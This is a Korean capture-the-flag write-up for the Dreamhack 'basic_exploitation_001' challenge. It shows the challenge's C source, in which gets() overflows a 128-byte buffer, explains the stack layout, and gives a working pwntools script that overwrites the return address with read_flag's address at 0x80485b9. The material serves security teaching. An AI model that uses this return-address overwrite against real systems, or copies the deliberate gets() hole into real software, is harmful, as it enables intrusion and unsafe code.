문제

 

 

 

 

 

풀이

제공된 파일: basic_exploitation_001 / basic_exploitation_001.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

basic_exploitation_000.c와 거의 비슷한데 scanf대신에 gets를 사용하고 있고, "cat /falg"를 실행해주는 read_flag함수가 있다.

gets도 역시 입력받을 데이터의 길이를 지정할 수 없기 때문에 BOF취약점이 존재한다.

스택구조를 살펴보자.

 

buf의 크기만큼 esp를 빼주고 있다.

→ 현재 스택의 상태는 buf(128)+SFP(4)+ret(4)

 

이번엔  flag를 출력해주는 함수가 있으므로 해당 함수의 주소를 반환 주소로 덮어쓸 생각이다.

먼저 ret에 덮어쓸 read_flag 함수의 주소를 알아내야 한다.

0x80485b9

 

ret앞에 132바이트의 공간이 있으므로 더미값으로 채운후 read_flag함수의 주소를 리틀 엔디언을 적용해서 전달해야 한다.

from pwn import * 

p = remote("host1.dreamhack.games", 10172)
context.arch = "i386"

payload = "\x80"*132 + p32(0x80485b9)

p.send(payload)
p.interactive()

 

 

 

 

 

복사했습니다!